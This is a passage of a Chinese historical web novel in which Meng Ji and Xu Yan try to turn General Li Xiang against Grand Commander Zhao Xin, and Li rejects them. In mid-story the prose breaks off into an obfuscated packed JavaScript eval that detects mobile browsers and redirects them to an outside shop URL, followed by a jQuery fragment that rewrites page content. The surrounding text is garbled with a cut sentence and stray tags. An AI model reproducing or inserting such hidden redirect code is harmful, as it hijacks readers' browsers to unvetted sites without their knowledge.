所信。”
李庠呆了一呆,“郎君何出此言?大都督许我高官,命我握重兵,守重隘,这如何不是信重?”
“大都督手上嫡系,不过数千兵卒,不依靠将军,是无法守住益州的,”她直直地看向李庠,“大都督的确看重将军,可那是因为他没得选。”
当许弇带着孟霁走进来的时候,李庠并未过多留意这个白身少年,此时却来了几分兴致。
“没得选又如何?”
“所谓胫大于股者难以步[1],如此阴阳易位,非长久之计。”少年的神色很是严肃。
李庠笑着摇了摇头,“我在大都督麾下,我的兵,自然也在大都督麾下,如何有阴阳易位之说。”
“李将军此言差矣,”少年似乎坐得有些别扭,便稍微挪动了一下身子,“将军固然忠心不二,可大都督便会信将军吗?”
许弇摸了摸下巴,假装什么也没听到。
李庠却是蹙了蹙眉。
不待李庠说出来什么,孟霁又继续道:“不知李将军是否听说了近日南安一战?”
李庠若有所思地看了孟霁一眼,方才点了点头,“这个自然听说了。我军在南安,击溃了西夷校尉陈总。”
“益州兵事,向来是依仗玄序诸兄弟,之前汶山羌叛乱,亦是玄序兄前往讨伐。今次却撇开玄序兄……”
许弇终于说话了,看着像是随口闲聊,却是意有所指地拖长了话音。
“大都督这是在练自己的兵。”孟霁给出了结论。
这些事情,其实又何须别人来告诉他?李庠自己比谁都清楚。
看起来赵廞给了他很高的头衔——威寇将军,阳泉亭侯。
但实际上,所有人都心知肚明,莫说李庠手底下的兵卒,都是跟他一起逃难而来的流民,都只认李庠,而不会认赵廞。
就是李庠本人,将来会不会一直忠于赵廞,还是两说。
赵廞自然不会如何信任他们这群外来者。
如此一来,李氏兄弟其实便有些进退维谷了。
他们陪着赵廞造反,眼下可以说与赵廞绑在同一条船上,一荣俱荣,一损俱损。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158490|138622||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可糟糕的是,他们却没能进入中枢决策。
充其量,只是赵廞一把刀。
而做一把无法左右自己命运的刀,对李氏兄弟来讲,显然不是什么好事。
眼见着李庠面上浮起一抹愁苦,显然是意有所动,孟霁忍不住回头冲跪坐在身后的沈介眨了眨眼。
只要李庠起了求变的心思,这里面便有他们施展的机会!
然而,当她重新将头转向上首的时候,却惊讶地发现,李庠一张脸竟不知何时黑了下来!
“两位今日,莫不是为离间我与大都督而来!”那位老将军拂袖而起,“大都督待庠素来恩遇甚重,庠一片忠心亦可对日月。非是二位能以三寸之舌轻易相间的!”
李庠背过身去,挥手就要把他们往外撵,“我不知二位来此,是抱着怎样的心思。我也不想深究,二位请回吧。”
眼看着就是临门一脚的事了,想不到却又生此曲折。
面对李庠的逐客令,许弇不尴不尬地站起来,却是走也不是,留也不是。
“将军又何必自欺欺人?”孟霁也跟着站了起来,“将军与诸兄弟镇守益州各重要关隘,可谓劳苦功高。
只是……孟某冒昧问一句,这粮饷,大都督可足额给了?”
孟霁顿了一下,同沈介交换了一下眼色,心中便有了底,“想来必是没有的,不然将军也不会行劫掠之事。”
“益州疲敝,大都督也不容易。”李庠终于转了回来。
“蜀